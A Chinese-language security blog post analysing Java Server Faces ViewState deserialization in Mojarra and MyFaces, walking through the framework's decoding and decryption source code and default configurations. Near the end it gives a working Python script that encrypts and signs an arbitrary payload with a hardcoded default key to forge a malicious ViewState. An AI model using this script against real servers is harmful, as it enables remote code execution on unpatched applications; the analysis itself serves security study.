偶遇一些奇葩环境,拿出来炒冷饭
JSF”指的是2004年发布的第一个版本的Java规范。这方面的许多实现
规范存在。其中最常用的是Sun(现在的Oracle)发布的Mojarra和Apache发布的MyFaces
JavaServerFaces(JSF)概念在几年前就已经引入,现在主要在J2EE中使用
应用。它在web应用程序开发中最繁琐的部分之一:用户界面上添加了一个抽象层。
JSF层有助于在应用程序中集成复杂的小部件,例如:
•使用专用标签的图形组件;
•借助表单属性实现自动Ajax层;
•复杂格式的数据导出功能(例如:PDF、Excel等)。
然而,如果认为添加这种特性只会促进开发人员的任务,那就太天真了。事实上,它伴随着
模糊和复杂的机制。ViewState就是这些机制之一。
web.xml中配置
<servlet> <servlet-name>Faces Servlet</servlet-name> <servlet-class>javax.faces.webapp.FacesServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <!-- Map these files with JSF --> <servlet-mapping> <servlet-name>Faces Servlet</servlet-name> <url-pattern>/faces/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>Faces Servlet</servlet-name> <url-pattern>*.jsf</url-pattern> </servlet-mapping>
public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest)req; HttpServletResponse response = (HttpServletResponse)resp; this.requestStart(request.getRequestURI()); if (!this.isHttpMethodValid(request)) { response.sendError(400); } else { //省略... } //省略... try { ResourceHandler handler = context.getApplication().getResourceHandler(); if (handler.isResourceRequest(context)) { handler.handleResourceRequest(context); } else { this.lifecycle.execute(context); this.lifecycle.render(context); } } catch (FacesException var12) { } //省略... } finally { context.release(); } this.requestEnd(); } }
调用this.lifecycle.execute(context);
com.sun.faces.lifecycle.LifecycleImpl
public LifecycleImpl() { this.phases = new Phase[]{null, new RestoreViewPhase(), new ApplyRequestValuesPhase(), new ProcessValidationsPhase(), new UpdateModelValuesPhase(), new InvokeApplicationPhase(), this.response}; this.listeners = new CopyOnWriteArrayList(); } public void execute(FacesContext context) throws FacesException { if (context == null) { throw new NullPointerException(MessageUtils.getExceptionMessageString("com.sun.faces.NULL_PARAMETERS_ERROR", new Object[]{"context"})); } else { if (LOGGER.isLoggable(Level.FINE)) { LOGGER.fine("execute(" + context + ")"); } int i = 1; for(int len = this.phases.length - 1; i < len && !context.getRenderResponse() && !context.getResponseComplete(); ++i) { this.phases[i].doPhase(context, this, this.listeners.listIterator()); } } }
this.phases[i].doPhase
遍历调用doPhase,默认装载调用这几个列new RestoreViewPhase(), new ApplyRequestValuesPhase(), new ProcessValidationsPhase(), new UpdateModelValuesPhase(), new InvokeApplicationPhase(), this.response}; this.listeners = new CopyOnWriteArrayList()
public void execute(FacesContext facesContext) throws FacesException { if (LOGGER.isLoggable(Level.FINE)) { LOGGER.fine("Entering RestoreViewPhase"); } //省略无用代码... ViewHandler viewHandler = Util.getViewHandler(facesContext); boolean isPostBack = facesContext.isPostback() && !isErrorPage(facesContext); if (isPostBack) { facesContext.setProcessingEvents(false); viewRoot = viewHandler.restoreView(facesContext, viewId);
该方法是获取请求过来的 路径的 这里传递/index.xhtml
即获取该位置的ViewState视图。
省略无效代码,流程走到 com.sun.faces.application.view.FaceletViewHandlingStrategy
public UIViewRoot restoreView(FacesContext context, String viewId) { Util.notNull("context", context); Util.notNull("viewId", viewId); if (UIDebug.debugRequest(context)) { context.getApplication().createComponent("javax.faces.ViewRoot"); } ViewHandler outerViewHandler = context.getApplication().getViewHandler(); String renderKitId = outerViewHandler.calculateRenderKitId(context); ResponseStateManager rsm = RenderKitUtils.getResponseStateManager(context, renderKitId); Object incomingState = rsm.getState(context, viewId);
public Object getState(FacesContext ctx, String viewId) throws IOException { String stateString = getStateParamValue(ctx); if (stateString == null) { return null; } else { return "stateless".equals(stateString) ? "stateless" : this.doGetState(stateString); } }
来到com.sun.faces.renderki.ClientSideStateHelper#doGetState
,关键代码,这里是jsf反序列化过程具体的实现
protected Object doGetState(String stateString) { if ("stateless".equals(stateString)) { return null; } else { ObjectInputStream ois = null; InputStream bis = new Base64InputStream(stateString); Object var5; try { Object state; if (this.guard != null) { byte[] bytes = stateString.getBytes(); int numRead = ((InputStream)bis).read(bytes, 0, bytes.length); byte[] decodedBytes = new byte[numRead]; ((InputStream)bis).reset(); ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length); bytes = this.guard.decrypt(decodedBytes); if (bytes == null) { state = null; return state; } bis = new ByteArrayInputStream(bytes); } if (this.compressViewState) { bis = new GZIPInputStream((InputStream)bis); } ois = this.serialProvider.createObjectInputStream((InputStream)bis); long stateTime = 0L; if (this.stateTimeoutEnabled) { try { stateTime = ois.readLong(); } catch (IOException var25) { if (LOGGER.isLoggable(Level.FINE)) { LOGGER.fine("Client state timeout is enabled, but unable to find the time marker in the serialized state. Assuming state to be old and returning null."); } state = null; return state; } } Object structure = ois.readObject(); state = ois.readObject();
代码中inputStream bis = new Base64InputStream(stateString);
public Base64InputStream(String encodedString) { this.buf = this.decode(encodedString); this.pos = 0; this.count = this.buf.length; }
这里会对数据进行进行base64解密。解密完成后然后判断this.guard
是否为空,this.guard
是标记是否启用加密
if (this.guard != null) { byte[] bytes = stateString.getBytes(); int numRead = ((InputStream)bis).read(bytes, 0, bytes.length); byte[] decodedBytes = new byte[numRead]; ((InputStream)bis).reset(); ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length); bytes = this.guard.decrypt(decodedBytes); if (bytes == null) { state = null; return state; }
解密算法实现
public byte[] decrypt(byte[] bytes) { try { byte[] macBytes = new byte[32]; System.arraycopy(bytes, 0, macBytes, 0, macBytes.length); byte[] iv = new byte[16]; System.arraycopy(bytes, macBytes.length, iv, 0, iv.length); byte[] encdata = new byte[bytes.length - macBytes.length - iv.length]; System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length); IvParameterSpec ivspec = new IvParameterSpec(iv); Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); decryptCipher.init(2, this.sk, ivspec); this.decryptMac.update(iv); this.decryptMac.update(encdata); byte[] macBytesCalculated = this.decryptMac.doFinal(); if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) { byte[] plaindata = decryptCipher.doFinal(encdata); return plaindata; } else { System.err.println("ERROR: MAC did not verify!"); return null; } } catch (Exception var9) { System.err.println("ERROR: Decrypting:" + var9.getCause()); return null; } }
这里没使用加密直接跳过这个步骤,然后使用bis = new GZIPInputStream((InputStream)bis);
进行gzip解压,最后调用ois.readObject();
进行反序列化
https://www.ibm.com/docs/en/was/8.5.5?topic=parameters-jsf-engine-configuration
默认情况下,“ViewState”数据存储在页面中的隐藏字段中,并使用base64编码进行编码。
"ViewState"也可以编码为"base64和gzip"(Base64Gzip),以"H4sIAAA"开头。
com.sun.faces.renderkit.ByteArrayGuard#setupKeyAndMac
private void setupKeyAndMac() { try { InitialContext context = new InitialContext(); String encodedKeyArray = (String)context.lookup("java:comp/env/jsf/ClientSideSecretKey"); byte[] keyArray = DatatypeConverter.parseBase64Binary(encodedKeyArray); this.sk = new SecretKeySpec(keyArray, "AES"); } catch (NamingException var5) { if (LOGGER.isLoggable(Level.FINEST)) { LOGGER.log(Level.FINEST, "Unable to find the encoded key.", var5); } } if (this.sk == null) { try { KeyGenerator kg = KeyGenerator.getInstance("AES"); kg.init(128); this.sk = kg.generateKey(); } catch (Exception var4) { throw new FacesException(var4); } } }
先取前面32位个字节为mac地址,从32位后再去16位位iv值,剩下的就是加密后的数据了。
public byte[] decrypt(FacesContext facesContext, byte[] bytes) { try { byte[] macBytes = new byte[32]; System.arraycopy(bytes, 0, macBytes, 0, macBytes.length); byte[] iv = new byte[16]; System.arraycopy(bytes, macBytes.length, iv, 0, iv.length); byte[] encdata = new byte[bytes.length - macBytes.length - iv.length]; System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length); IvParameterSpec ivspec = new IvParameterSpec(iv); SecretKey secKey = this.getSecretKey(facesContext); Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); decryptCipher.init(2, secKey, ivspec); Mac decryptMac = Mac.getInstance("HmacSHA256"); decryptMac.init(secKey); decryptMac.update(iv); decryptMac.update(encdata); byte[] macBytesCalculated = decryptMac.doFinal(); if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) { byte[] plaindata = decryptCipher.doFinal(encdata); return plaindata; } else { System.err.println("ERROR: MAC did not verify!"); return null; } } catch (Exception var12) { System.err.println("ERROR: Decrypting:" + var12.getCause()); return null; } }
AES取密钥解密后,进行HmacSHA256解密,这个解密的密钥和iv是前面传递序列化字段的0-31个字节和32-47个字节内容
然后进行HmacSHA256解密后,就是gzip后的base64序列化数据了。
加密脚本
#!/usr/bin/python3 import sys import hmac from urllib import parse from base64 import b64encode from hashlib import sha1 from pyDes import * YELLOW = "\033[93m" GREEN = "\033[32m" def encrypt(payload,key): cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5) enc_payload = cipher.encrypt(payload) return enc_payload def hmac_sig(enc_payload,key): hmac_sig = hmac.new(key, enc_payload, sha1) hmac_sig = hmac_sig.digest() return hmac_sig key = b'JsF9876-' if len(sys.argv) != 3 : print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0])) else: with open(sys.argv[1], "rb") as f: payload = f.read() f.close() print(YELLOW + "[+] Encrypting payload") print(YELLOW + " [!] Key : JsF9876-\n") enc_payload = encrypt(payload,key) print(YELLOW + "[+] Creating HMAC signature") hmac_sig = hmac_sig(enc_payload,key) print(YELLOW + "[+] Appending signature to the encrypted payload\n") payload = b64encode(enc_payload + hmac_sig) payload = parse.quote_plus(payload) print(YELLOW + "[*] Final payload : {}\n".format(payload)) with open(sys.argv[2], "w") as f: f.write(payload) f.close() print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
所有MyFaces版本1.1.7、1.2.8、2.0和更早版本,以及Mojarra 1.2.14、2.0.2和
JSF2.2之前的规范要求实现加密机制,但不要求使用加密机制。
Mojarra的默认javax.faces.STATE_SAVING_METHOD
设置是server
. 开发人员需要手动将其更改为,client
Mojarra 才能进行利用。如果将序列化的 ViewState 发送到服务器,但 Mojarra 使用server
则ViewState 保存它,不会尝试反序列化它。
MyFaces的默认javax.faces.STATE_SAVING_METHOD
设置是server
。但是MyFaces无论值是client或者是server,都能进行反序列化
安全层可以通过特定的配置参数启用。对于Mojarra,文件中的以下行
web.xml)启用ViewState数据加密。请注意,Mojarra不执行完整性检查(HMAC):
<enventry> <enventryname>com.sun.faces.ClientStateSavingPassword</enventryname> <enventrytype>java.lang.String</enventrytype> <enventryvalue>[YOUR_SECRET_KEY]</enventryvalue> </enventry>
对于MyFaces,以下几行启用ViewState加密和完整性检查
<contextparam> <paramname>org.apache.myfaces.USE_ENCRYPTION</paramname> <paramvalue>true</paramvalue> </contextparam>
可以指定加密密钥以及算法。否则它们将由MyFaces自动生成。
还应该注意的是,2013年发布的JSF 2.2规范默认要求激活ViewState加密。
在那之前,Mojarra实现不像MyFaces那样默认启用它。
在 Mojarra 1.2.x-2.0.3 中,密码[will]用作 SecureRandom
seed来生成DES algorithm key。
在 Mojarra 2.0.4-2.1.x 中,他们changed从DES到AES的算法,并且代码现在不再actually不再使用提供的密码来生成 key (以防止潜在的麻烦)。相反,完全随机的 key 是generated,它更安全。现在,JNDI条目基本上控制客户机状态是否应该加密。换句话说,它现在的行为就像一个 bool 配置条目。因此,使用哪个密码绝对不再重要。
https://javaee.github.io/javaserverfaces-spec/
https://www.synopsys.com/content/dam/synopsys/sig-assets/whitepapers/exploiting-the-java-deserialization-vulnerability.pdf
https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization
多喝热水!!!